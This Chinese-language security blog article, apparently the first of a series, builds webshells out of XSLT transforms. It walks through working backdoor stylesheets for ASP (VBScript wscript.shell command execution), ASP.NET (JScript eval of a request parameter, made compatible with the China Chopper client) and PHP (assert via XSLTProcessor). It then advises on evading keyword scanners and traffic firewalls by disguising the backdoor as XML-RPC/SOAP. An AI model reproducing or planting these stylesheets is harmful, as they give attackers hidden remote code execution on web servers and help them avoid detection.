想來想去還是歸結成一個系列吧,雖然說在現在各種講究高大上的時代還談webshell實在是一種沒什么品味的做法。 基本上也就是一些新型webshell、特殊環境下的特殊利用、特殊webshell的菜刀中轉腳本等,外帶一些對應的分析。 先挖個坑,至于填坑么??看情況吧。
相信所有人對xml都不陌生,其被廣泛的應用于數據數據傳輸、保存與序列化中,是一種極為強大的數據格式。強大必然伴隨著復雜,xml在發展中派生出了一系列標準,包括DTD、XSD、XDR、XPATH以及XSLT等。
XSLT全稱為拓展樣式表轉換語言,其作用類似于css,通過指定的規則,將一個xml文檔轉換為另外的形式。指定的規則由另外一個xml文件描述,這個文件通常為xsl后綴。xsl語法相對較為復雜,詳情可以參考msdn中“XSLT 參考”一節。
為了對目標節點進行處理,XSLT提供了一系列用于處理XML節點的內置函數,以下是一個具體的轉換示例:
xml:
#!html
<?xml version="1.0"?>
<root>123</root>
xsl:
#!html
<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/root">
<xsl:value-of select="string(.)"/>
</xsl:template>
</xsl:stylesheet>
xsl文件中xsl:template節點描述了匹配規則,其match屬性為一個XPATH,表示匹配的xml節點。xsl:value-of描述了轉換規則,會將對前一步所匹配的節點作為參數傳入select屬性指定的函數中,參數.表示所匹配的節點。 對以上xml和xsl進行轉換,將輸出以下結果:
#!html
<?xml version="1.0" encoding="UTF-16"?>123
在有些情況下,內置函數無法滿足所有的需求。為了拓展XSLT的功能,絕大部分XSL轉換器都提供了腳本拓展功能。根據轉換器的不同,其腳本有所差異,所支持的功能也有所不同。 在一定程度上,一個對象的安全性與復雜性是成反比的。合法功能的非預期利用是漏洞,惡意利用則可能成為隱蔽的后門。XSLT的腳本執行功能,就是這樣一個可能的后門。
asp中最常見的就是vbscript和jscript兩種語言,可通過創建MSXML2.DOMDocument COM對象獲取一個xml解析器。 通過oleview可以看到,此對象公開了一個transformNode方法來進行XSL轉換:
具體的調用代碼大致如下:
#!xml
set xmldoc= Server.CreateObject("MSXML2.DOMDocument")
xmldoc.loadxml(xml)
set xsldoc= Server.CreateObject("MSXML2.DOMDocument")
xsldoc.loadxml(xslt)
response.write xmldoc.TransformNode(xsldoc)
參考msdn得知,自定義函數必須位于msxsl:script元素內,對照示例不難得到以下xsl:
#!html
<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh">
<msxsl:script language="vbscript" implements-prefix="zcg">
<![CDATA[function xml(x):set a=createobject("wscript.shell"):set exec=a.Exec(x):xml=exec.stdout.readall&exec.stderr.readall:end function]]>
</msxsl:script>
<xsl:template match="/root">
<xsl:value-of select="zcg:xml(string(.))"/>
</xsl:template>
</xsl:stylesheet>
在第二行中,xmlns:msxsl為自定義函數塊的命名空間,xmlns:zcg為自定義函數的命名空間與前綴,可以任意命名。
第三行的msxsl:script聲明了一個腳本塊,其language屬性指定了要使用的腳本語言,implements-prefix則與前面xmlns:zcg這個命名空間前綴相對應。
在第七行通過zcg:xml(string(.))調用了這個自定義函數,由于自定義函數只能傳入字符串、數字、日期等標量,以及XML的一系列對象,所以先通過string內置函數轉換為字符串從而獲取text,再傳入函數中。同樣的,由于Response、Server等對象是asp內置的,所以既不能在自定義函數中訪問,也不能傳遞給自定義函數,所有的數據傳遞都是通過字符串進行的。
腳本塊的函數則是簡單的執行-返回,其返回值會替換所匹配的節點的內容,所以上述xsl的作用就是:將指定xml中/root節點的文本作為命令執行,并返回結果。
對以下xml進行轉換,其返回結果如圖:
#!html
<?xml version="1.0"?>
<root>cmd /c dir</root>
可見成功執行了命令,其結果中的特殊字符都被轉換成了xml實體,需要進一步進行處理。
最后,在之前某個IE漏洞中,老外所用的DVE就是使用上述方法來調用組件執行命令,所以免殺效果已經沒有保證了。
xml可以稱為.net的核心之一,[System.Xml]System.Xml.Xsl.XslCompiledTransform類和[System.Xml]System.Xml.Xsl.XslTransform類提供了XSL轉換功能。
XslTransform屬于已棄用的類,其調用方法如下:
#!html
XmlDocument xmldoc=new XmlDocument();
xmldoc.LoadXml(xml);
XmlDocument xsldoc=new XmlDocument();
xsldoc.LoadXml(xslt);
XslTransform xt = new XslTransform();
xt.Load(xsldoc);
xt.Transform(xmldoc, null);
由于此類不能引入額外的程序集,所以并沒有什么使用價值。
XslCompiledTransform為微軟推薦使用的類,其調用方法與XslTransform大致相同:
#!html
XmlDocument xmldoc=new XmlDocument();
xmldoc.LoadXml(xml);
XmlDocument xsldoc=new XmlDocument();
xsldoc.LoadXml(xslt);
XslCompiledTransform xct=new XslCompiledTransform();
xct.Load(xsldoc,XsltSettings.TrustedXslt,new XmlUrlResolver());
xct.Transform(xmldoc,null,new MemoryStream());
由于asp.net提供了靜態變量[System.Web]System.Web.HttpContext::Current用于表示當前的HTTP請求上下文,所以不需要像asp中進行字符串傳遞。構造以下xsl進行嘗試:
#!html
<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh">
<msxsl:script language="JScript" implements-prefix="zcg">
function xml() {eval(System.Web.HttpContext.Current.Request.Item['a'],'unsafe');}
</msxsl:script>
<xsl:template match="/root">
<xsl:value-of select="zcg:xml()"/>
</xsl:template>
</xsl:stylesheet>
訪問之,可得到一個錯誤信息:
#!html
未能找到類型“System.Web.HttpContext.Current.Request.Item”,是否缺少程序集引用?
很明顯缺少了程序集引用,查找msdn得到說明:
#!html
默認情況下引用下列兩個程序集:
System.dll
System.Xml.dll
Microsoft.VisualBasic.dll(如果腳本語言為 VB)
可以使用 msxsl:assembly 元素導入其他程序集。
于是添加WebShell所必需的幾個程序集,得到:
#!html
<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh">
<msxsl:script language="JScript" implements-prefix="zcg">
<msxsl:assembly name="mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/>
<msxsl:assembly name="System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/>
<msxsl:assembly name="System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/>
<msxsl:assembly name="System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/>
function xml() {eval(System.Web.HttpContext.Current.Request.Item['a'],'unsafe');}
</msxsl:script>
<xsl:template match="/root">
<xsl:value-of select="zcg:xml()"/>
</xsl:template>
</xsl:stylesheet>
直接訪問已經沒有錯誤,但使用菜刀連接時爆出錯誤:
#!html
未聲明變量“Response”
很顯然,菜刀提交的語句中直接調用了Response。由于jscript.net中eval的上下文與調用方共享變量且具有同一名稱,手動添加菜刀所需的Request、Response、Server,可以得到以下xslt:
#!html
<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh">
<msxsl:script language="JScript" implements-prefix="zcg">
<msxsl:assembly name="mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/>
<msxsl:assembly name="System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/>
<msxsl:assembly name="System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/>
<msxsl:assembly name="System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/>
function xml() {var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;var Server=c.Server;eval(Request.Item['a'],'unsafe');Response.End();}
</msxsl:script>
<xsl:template match="/root">
<xsl:value-of select="zcg:xml()"/>
</xsl:template>
</xsl:stylesheet>
此時可使用菜刀直接進行連接,功能與aspx(eval)完全相同:
最后要注意:xml的內嵌腳本塊需要FullTrust信任等級,在安全模式下不能運行。當然,安全模式下正常的aspx一句話也不能運行,所以并不能算是一個缺點。
在php的官方文檔中搜索xsl,將直接定位到XSLTProcessor類,在頁面中可以看到很明顯的registerPHPFunctions方法。 方法的示例就是一個完整的調用過程,將函數修改為assert并略作精簡,可以得到以下xsl:
#!html
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:zcg="http://php.net/xsl">
<xsl:template match="/root">
<xsl:value-of select="zcg:function('assert',string(.))"/>
</xsl:template>
</xsl:stylesheet>
第二行的http://php.net/xsl這個命名空間URI表示php專用的xsl函數支持,第四行的zcg:function('assert',string(.))表示將匹配節點的文本作為參數傳遞給php的assert函數。
為了避免xml的轉義問題,進行一次assert嵌套,可以得到xml:
#!html
<root>assert($_POST[a]);</root>
由于php并沒有上下文的概念,所有的代碼都是在同一代碼空間中執行,在xsl中可直接訪問GPCS,于是可以直接使用菜刀連接:
同樣的功能齊全。
美中不足的是這個功能默認并沒有安裝,windows上需要修改php.ini啟用php_xsl.dll拓展;linux上需要編譯時指定--with-xsl或額外安裝php5-xsl包。鑒于php的靈活性,此類shell除隱蔽性較高外并無太大必要。
在上述基于xslt轉換的webshell中,所有的敏感調用都是以字符串形式存在于xml中,避免了基于關鍵字的webshell查殺。同時,由于xslt是一項正常的功能,對xsl轉換器所提供的方法進行查殺、禁用很不實際。例如:msxml組件被大量的系統用于遠程文件下載或xmlrpc,基本上是不可能禁用的。 最后,服務端與客戶端的交互實質上是通過xml進行的,所以可以偽裝成xmlrpc/soap等協議,借助xml的轉義將敏感字符轉義為實體字符,以躲避基于流量分析的防火墻。例如:將cmd替換為等效的實體字符cmd等。
除了webshell外,xsl轉換還有其他可能的利用點。xml支持自動導入xsl,其語法為:
#!html
<?xml-stylesheet type="text/xsl" href="http://host/template.xsl"?>
但除了瀏覽器之外,尚未發現有哪個解析器會自動解析這個預處理命令,不過作為一種測試手段也未嘗不可,如果成功的話則很有可能是一個代碼執行漏洞。 某些服務端程序允許客戶端提交一個xsl進行自定義,此時若提交一個包含內嵌腳本的惡意xsl同樣可能達到代碼執行的目的。
Bypassing Windows 8.1 Mitigations using Unsafe COM Objects(老外借助xslt轉換的DVE利用): http://www.contextis.com/resources/blog/windows-mitigaton-bypass/
php xsl:http://php.net/manual/zh/book.xsl.php
XML標準參考資料:https://msdn.microsoft.com/zh-cn/library/ms256177.aspx
msxsl:script元素:https://msdn.microsoft.com/zh-cn/library/ms256042.aspx
XSLT 參考:https://msdn.microsoft.com/zh-cn/library/ms256069.aspx
XSLT 轉換:https://msdn.microsoft.com/zh-cn/library/14689742.aspx
附件下載:Download
百度網盤:http://pan.baidu.com/s/1bnq9I8J
解壓密碼見注釋。